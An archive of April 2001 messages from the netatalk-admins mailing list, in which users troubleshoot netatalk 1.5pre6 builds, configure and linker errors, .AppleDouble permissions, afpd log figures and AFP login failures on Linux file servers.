> > It sounds like you need to run the configure again. Just cd into the
> > directory and run ./configure, then run "make clean" and "make
> > uninstall".
> >
> > I think you still have stuff on your system that needs to be removed.
> > Then you can run configure and make again (your configure line looks
> > good, but you might want --with-shadow if you're using shadow
> > passwords).
>
> Hi Mike
>
> I really must apologise for taking up everyone's time with this.
>
> Thanks for the very clear instructions. The "make uninstall" worked
> great. The only thing still left are the system init scripts - I hope
> these are ok to leave.
>
> The install is not working now at all.
> Below are some of the errors reported from make when using the following
> config line:
>
>     ./c/configure --prefix=/usr --with-config-dir=/etc \
>                 --with-uams-path=/etc/uams --with-shadow
>onfigure --prefix=/usr --with-config-dir=/etc \
>                 --with-uams-path=/etc/uams --with-shadow
>
> Am I missing some linker config files, or am I using the wrong version
> of ld? Or perhaps I need to FIRST make directories such as /etc/uams?
>
> Thanks again for any help
> Rory
>
> ----------------------------------------------------------------------
>
> Extracts from make output
>
> configure:1333: checking if the linker (/usr/bin/ld) is GNU ld
> GNU ld version 2.9.5 (with BFD 2.9.5.0.37)
>
> ltconfig:959: gcc -o conftest -g -O2   -static conftest.c  1>&5
> GNU ld version 2.9.5 (with BFD 2.9.5.0.37)
>
> ...
>
> configure:2027: checking for main in -labs
> configure:2042: gcc -o conftest -g -O2   conftest.c -labs   1>&5
> /usr/bin/ld: cannot find -labs
> collect2: ld returned 1 exit status
> configure: failed program was:
> #line 2035 "configure"
> #include "confdefs.h"
>
> int main() {
> main()
> ; return 0; }
> configure:2070: checking for main in -laudit
> configure:2085: gcc -o conftest -g -O2   conftest.c -laudit   1>&5
> /usr/bin/ld: cannot find -laudit
> collect2: ld returned 1 exit status
> configure: failed program was:
> #line 2078 "configure"
> #include "confdefs.h"
>
> int main() {
> main()
> ; return 0; }
> configure:2113: checking for main in -lauth
> configure:2128: gcc -o conftest -g -O2   conftest.c -lauth   1>&5
> /usr/bin/ld: cannot find -lauth
> collect2: ld returned 1 exit status
> configure: failed program was:
> #line 2121 "configure"
> #include "confdefs.h"
>
> ...
>
> configure:4602: checking whether setpgrp takes no argument
> configure:4630: gcc -o conftest -g -O2   conftest.c -lrpcsvc -lresolv
> -lnsl -ldl -ldb -lcrypt  1>&5
> configure: In function `main':
> configure:4622: too many arguments to function `setpgrp'
> configure: failed program was:
> #line 4610 "configure"
> #include "confdefs.h"
>
> configure:4877: checking for pam_start in -lpam
> configure:4896: gcc -o conftest -g -O2   conftest.c -lpam  -lrpcsvc
> -lresolv -lnsl -ldl -ldb -lcrypt  1>&5
> /usr/bin/ld: cannot find -lpam
> collect2: ld returned 1 exit status
> configure: failed program was:
> #line 4885 "configure"
> #include "confdefs.h"
> /* Override any gcc2 internal prototype to avoid an error.  */
> /* We use char because int might match the return type of a gcc2
>     builtin and then its argument prototype would still apply.  */
> char pam_start();
>
> int main() {
> pam_start()
> ; return 0; }
> configure:5172: checking for sys/quota.h
> configure:5182: gcc -E  conftest.c >/dev/null 2>conftest.out

From netatalk.administrators-errors@umich.edu  Sat Apr 21 13:37:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA09230
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Apr 2001 13:37:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA18880
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Apr 2001 13:37:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA18851
	for netatalk.administrators-members@umich.edu; Sat, 21 Apr 2001 13:37:31 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA18772
	for <netatalk-admins@umich.edu>; Sat, 21 Apr 2001 13:37:29 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA04672
	for <netatalk-admins@umich.edu>; Sat, 21 Apr 2001 19:32:38 +0200
Message-ID: <3AE1C437.4233BA36@euc.de>
Date: Sat, 21 Apr 2001 19:32:39 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Shared volume and only one trash
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

I have 1.5pre6 installed using kernel 2.2.16.

I've created a volumes to be used by different users

Only one trash is at that time available.
If user One drops something everybody else is only be able
to delete filese immediately. After user One empties the trash
any user can drop files in to the trash.
After that the behaviour is like that of user One.

I've placed in the homedirectory of the users a symbolic link
pointing to that shared volume. That works because now the
users home directory trash is used.

Any idea?
-- 

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de

From netatalk.administrators-errors@umich.edu  Sat Apr 21 21:58:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20429
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 21 Apr 2001 21:58:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA26154
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 21 Apr 2001 21:58:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA26124
	for netatalk.administrators-members@umich.edu; Sat, 21 Apr 2001 21:58:46 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA26058
	for <netatalk-admins@umich.edu>; Sat, 21 Apr 2001 21:58:45 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0) for <netatalk-admins@umich.edu>; 
 Sat, 21 Apr 2001 18:58:56 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 21 Apr 2001 18:58:51 -0700
Subject: # test-ignore this message
From: charlie wood <charlie@id-inc.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B70788EA.295B%charlie@id-inc.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit




From netatalk.administrators-errors@umich.edu  Sun Apr 22 09:08:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA05920
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 22 Apr 2001 09:08:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22500
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 22 Apr 2001 09:08:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA22473
	for netatalk.administrators-members@umich.edu; Sun, 22 Apr 2001 09:08:07 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA22388
	for <netatalk-admins@umich.edu>; Sun, 22 Apr 2001 09:08:06 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id PAA07441
	for <netatalk-admins@umich.edu>; Sun, 22 Apr 2001 15:03:11 +0200
Message-ID: <3AE2D68F.23938D97@euc.de>
Date: Sun, 22 Apr 2001 15:03:11 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: message-log entries
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hmm,

(Hi Mathew : 1.5pre6 installed using kernel 2.2.16  *bg*)

i've found the following entries in my messages log
Apr 22 14:03:15 linux afpd[10601]: logout mconin
Apr 22 14:03:15 linux afpd[10601]: 417576.93KB read, 91574.69KB written

Due to a lot of copying to the server I expected
~400 MB written to the server and ~100MB read.

Could it be that the two values are mixed up or
do they reflect something else than the users file transer?


nice weekend
-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Sun Apr 22 17:02:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA17728
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 22 Apr 2001 17:02:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA28482
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 22 Apr 2001 17:02:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA28453
	for netatalk.administrators-members@umich.edu; Sun, 22 Apr 2001 17:02:16 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA28392
	for <netatalk-admins@umich.edu>; Sun, 22 Apr 2001 17:02:15 -0400 (EDT)
Received: from ns10-n67-037.de.inter.net ([213.73.67.37] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14rQzm-0003Fg-00
	for netatalk-admins@umich.edu; Sun, 22 Apr 2001 23:02:14 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id XAA04041
	for <netatalk-admins@umich.edu>; Sun, 22 Apr 2001 23:01:38 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: message-log entries
Date: Sun, 22 Apr 2001 22:53:30 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3AE2D68F.23938D97@euc.de>
In-Reply-To: <3AE2D68F.23938D97@euc.de>
MIME-Version: 1.0
Message-Id: <01042223013704.22355@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA17728

On Sun, 22 Apr 2001, Mac Conin wrote:
> Hmm,
> 
> (Hi Mathew : 1.5pre6 installed using kernel 2.2.16  *bg*)
> 
> i've found the following entries in my messages log
> Apr 22 14:03:15 linux afpd[10601]: logout mconin
> Apr 22 14:03:15 linux afpd[10601]: 417576.93KB read, 91574.69KB written
> 
> Due to a lot of copying to the server I expected
> ~400 MB written to the server and ~100MB read.
> 
> Could it be that the two values are mixed up or
> do they reflect something else than the users file transer?

May be that's a philosophical question!? :-)

But if I WRITE 400 MB as a client to the server
I expect server to READ these 400 MB.
Otherwise, if I READ 100 MB from this server
it must WRITE these 100 MB to me.

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sun Apr 22 17:35:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA18775
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 22 Apr 2001 17:35:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA18197
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 22 Apr 2001 17:35:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA18175
	for netatalk.administrators-members@umich.edu; Sun, 22 Apr 2001 17:35:19 -0400 (EDT)
Received: from mail.intekom.com (mid-mail-02.intekom.com [196.25.69.45])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA18115
	for <netatalk-admins@umich.edu>; Sun, 22 Apr 2001 17:35:16 -0400 (EDT)
Received: (qmail 25190 invoked from network); 22 Apr 2001 21:35:13 -0000
Received: from kmp53-01-p206.gt.saix.net (HELO navajo.local) ([155.239.76.206]) (envelope-sender <anton.coetzee@vip.co.za>)
          by intekom.com (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 22 Apr 2001 21:35:13 -0000
X-vSMTP: intekom.com
Received: from apache (apache [192.168.1.2])
	by navajo.local (8.9.3/8.9.3) with SMTP id XAA08058
	for <netatalk-admins@umich.edu>; Sun, 22 Apr 2001 23:24:35 +0200
Message-ID: <004401c0cb74$2c25e620$0201a8c0@local>
From: "Anton Coetzee" <anton.coetzee@vip.co.za>
To: <netatalk-admins@umich.edu>
Subject: Weird problems on Mac side. Norton related?
Date: Sun, 22 Apr 2001 23:35:34 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

Hi

Here's a problem that's been bugging me for a few weeks now:
Network consisting of 6 G4 Macs, running 9.0.4 and 100BaseT network. Server
is a Linux box running a custom built (based on Slackware) 2.2.16 distro. 2
disk partitions are shared, one is 10 GB, one is 35 GB. They are also shared
via SAMBA to a single Windows box. There is no simultaneous use of files.
(no file locking problems).
I'm using the latest Asun netatalk (as of April 1 or so), built from source.

The Macs are scanning workstations, and every day or two large files (> 100
files at 40 or so MB apiece) are moved to the server. Everything works fine
for a few days, then the Macs go crazy (randomly) in various ways.
One mode of failure: The Macs start creating recursively nested folders of
folders on the desktop. Other times they will not copy certain files to the
server -- you select a batch of files, and drag to a folder on the server,
and it refuses to copy *certain* files. Do the same batch, and it will
refuse to copy *different* files.
The most prevalent issue, though, seems to be the recursively nested folder
thing.

I have just found out that the Macs have Norton something-or-other
installed. Could this be a problem ??

One other minor issue is that the list view seems incredibly slow. I'm
getting superb throughput in file transfers, and viewing a folder in icon
view is almost instant, but when I go to list view, it is *incredibly* slow,
and you can't smoothly scroll through the list. This may be unavoidable,
because we have some folders with ~ 1000 files.

Thanx for the help

Anton Coetzee (frustrated!!!)



From netatalk.administrators-errors@umich.edu  Sun Apr 22 20:52:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA23500
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 22 Apr 2001 20:52:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA12542
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 22 Apr 2001 20:52:27 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA12520
	for netatalk.administrators-members@umich.edu; Sun, 22 Apr 2001 20:52:26 -0400 (EDT)
Received: from mx.stanford-jc.or.jp (sirius.stanford-jc.or.jp [210.137.138.7] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA12443
	for <netatalk-admins@umich.edu>; Sun, 22 Apr 2001 20:52:24 -0400 (EDT)
Received: from pdc ([210.137.138.193])
	by mx.stanford-jc.or.jp (8.11.0/3.7W) with SMTP id f3N0qNZ01829
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 09:52:23 +0900
Message-ID: <01f301c0cb8f$a872c6b0$c18a89d2@wad.stanfordjc.or.jp>
From: "Takashi Nakamura" <nakamura@stanford-jc.or.jp>
To: <netatalk-admins@umich.edu>
Subject: unsubscribe
Date: Mon, 23 Apr 2001 09:52:23 +0900
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400




From netatalk.administrators-errors@umich.edu  Mon Apr 23 04:44:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA04687
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 04:44:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA07046
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 04:44:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA07025
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 04:44:04 -0400 (EDT)
Received: from green.csi.cam.ac.uk (green.csi.cam.ac.uk [131.111.8.57])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA06960
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 04:44:03 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by green.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 14rbsy-0003Hu-00; Mon, 23 Apr 2001 09:39:56 +0100
Date: Mon, 23 Apr 2001 09:39:56 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@green.csi.cam.ac.uk>
To: Matthew Keller <kellermg@potsdam.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: Inappropriate ioctl ?
In-Reply-To: <987784772.10457.3.camel@comp10574.potsdam.edu>
Message-ID: <Pine.SOL.4.33.0104230923290.26810-100000@green.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Thanks for the response but I am a little confused as to the .AppleDouble
permission settings and how I should change them. All permissions appear
to be fine as I 'chmod -R 755 home1' the top directory containing all my
users and 'chgrp -R staff home1' similarly. All users own there own
directories chown -R auser auser.

Ian.


On 20 Apr 2001, Matthew Keller wrote:

>
>     Cool, thanks. Anyone else having this problem with 1.5pre6? I have
>     numerous installs of it now (always compiled from source) and
>     haven't seen this one rear its ugly head since pre5.
>
>     The problem is that the premissions in .AppleDouble are set wrong.
>     This may be a legacy problem and setting them manually once will fix
>     them (for that folder). Subsequent operations should be ok.
>
> On 20 Apr 2001 17:14:41 +0100, Ian Hitchman wrote:
> > I had netatalk-1.4b2+asun2.1.4-0.i386.rpm running previously. I removed
> > this with rpm -e netatalk-1.4b2+asun2.1.4-0 --allmatches
> > and checked /etc/services for the removal of ddp entries as well removing
> > /etc/atalk rpm.config? or file of similar name.
> > After that I simply rpm -i --test netatalk-1.5pre6-1rh7.i386.rpm with
> > no errors and installed it. I suspect I have not read some documentation
> > but as to what I do not know.
>
>
> --
>
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> Potsdam, NY USA
>
> http://mattwork.potsdam.edu/
>
>


From netatalk.administrators-errors@umich.edu  Mon Apr 23 09:33:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA12734
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 09:33:36 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02224
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 09:33:35 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02203
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 09:33:35 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA02154
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 09:33:33 -0400 (EDT)
Received: (qmail 1741 invoked by alias); 23 Apr 2001 13:33:38 -0000
Received: (qmail 1282 invoked by uid 0); 23 Apr 2001 13:32:48 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 23 Apr 2001 13:32:48 -0000
Subject: Re: Inappropriate ioctl ?
From: Matthew Keller <kellermg@potsdam.edu>
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.SOL.4.33.0104230923290.26810-100000@green.csi.cam.ac.uk>
References: <Pine.SOL.4.33.0104230923290.26810-100000@green.csi.cam.ac.uk>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 23 Apr 2001 09:32:41 -0400
Message-Id: <988032761.4235.8.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    Generally, when this error shows in the logs, the .AppleDouble (or a
    file within it) is set to all nothing. Thus, even the owner can't
    change its permissions. If you're positive that the perms are right
    (and positive you don't have any legacy Netatalk binaries running
    around), and still getting this error- That's pretty odd, and I'm at
    a loss for diagnostics.

    Anyone else got ideas?


On 23 Apr 2001 09:39:56 +0100, Ian Hitchman wrote:
> Thanks for the response but I am a little confused as to the .AppleDouble
> permission settings and how I should change them. All permissions appear
> to be fine as I 'chmod -R 755 home1' the top directory containing all my
> users and 'chgrp -R staff home1' similarly. All users own there own
> directories chown -R auser auser.
> 
> Ian.
> 
> 
> On 20 Apr 2001, Matthew Keller wrote:
> 
> >
> >     Cool, thanks. Anyone else having this problem with 1.5pre6? I have
> >     numerous installs of it now (always compiled from source) and
> >     haven't seen this one rear its ugly head since pre5.
> >
> >     The problem is that the premissions in .AppleDouble are set wrong.
> >     This may be a legacy problem and setting them manually once will fix
> >     them (for that folder). Subsequent operations should be ok.
> >
> > On 20 Apr 2001 17:14:41 +0100, Ian Hitchman wrote:
> > > I had netatalk-1.4b2+asun2.1.4-0.i386.rpm running previously. I removed
> > > this with rpm -e netatalk-1.4b2+asun2.1.4-0 --allmatches
> > > and checked /etc/services for the removal of ddp entries as well removing
> > > /etc/atalk rpm.config? or file of similar name.
> > > After that I simply rpm -i --test netatalk-1.5pre6-1rh7.i386.rpm with
> > > no errors and installed it. I suspect I have not read some documentation
> > > but as to what I do not know.
> >
> >
> > --
> >
> > Matthew Keller
> > Enterprise System Analyst
> > Computing & Technology Services
> > Information Services Division
> > State University of NY at Potsdam
> > Potsdam, NY USA
> >
> > http://mattwork.potsdam.edu/
> >
> >
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 23 10:28:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14090
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 10:28:39 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13412
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 10:28:39 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13387
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 10:28:38 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA13326
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 10:28:36 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA16756;
	Mon, 23 Apr 2001 16:23:32 +0200
Message-ID: <3AE43AE6.F4D9100E@euc.de>
Date: Mon, 23 Apr 2001 16:23:33 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: deltor@snafu.de
CC: netatalk-admins@umich.edu
Subject: Re: message-log entries
References: <3AE2D68F.23938D97@euc.de> <01042223013704.22355@athlet>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA14090

ok, you win ... *bg*

Carsten Neumann wrote:
> 
> On Sun, 22 Apr 2001, Mac Conin wrote:
> > Hmm,
> >
> > (Hi Mathew : 1.5pre6 installed using kernel 2.2.16  *bg*)
> >
> > i've found the following entries in my messages log
> > Apr 22 14:03:15 linux afpd[10601]: logout mconin
> > Apr 22 14:03:15 linux afpd[10601]: 417576.93KB read, 91574.69KB written
> >
> > Due to a lot of copying to the server I expected
> > ~400 MB written to the server and ~100MB read.
> >
> > Could it be that the two values are mixed up or
> > do they reflect something else than the users file transer?
> 
> May be that's a philosophical question!? :-)
> 
> But if I WRITE 400 MB as a client to the server
> I expect server to READ these 400 MB.
> Otherwise, if I READ 100 MB from this server
> it must WRITE these 100 MB to me.
> 
> Kind regards
> 
>         Carsten

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Mon Apr 23 11:22:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16512
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 11:22:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA23363
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 11:22:37 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA23343
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 11:22:36 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA23279
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 11:22:35 -0400 (EDT)
Received: (qmail 18382 invoked from network); 23 Apr 2001 14:56:38 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 23 Apr 2001 14:56:38 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id E3A5D1A003
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 15:53:22 +0100 (BST)
Date: Mon, 23 Apr 2001 15:19:39 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: "Password incorrect" problems
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010423155538-r01010600-19af27f7@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

Thanks for everyone's help getting me onto 1.5pre6. I have eventually
got 1.5pre6 installed from deb.

I'm having trouble getting errors "sorry your password is incorrect.
Please reenter it" when the user treetop tries to log on. I've had the
same problem with the other 1.5pre releases I've installed from deb.

The 1.4b2+asun release I replaced did not have these problems.

--------------------------------------------------------------------------

atalkd.conf:
    no contents
afpd.conf
    "Penquin" -uamlist uams_clrtxt.so
AppleVolumes.default
    /home/treetop/test "Test" 
    
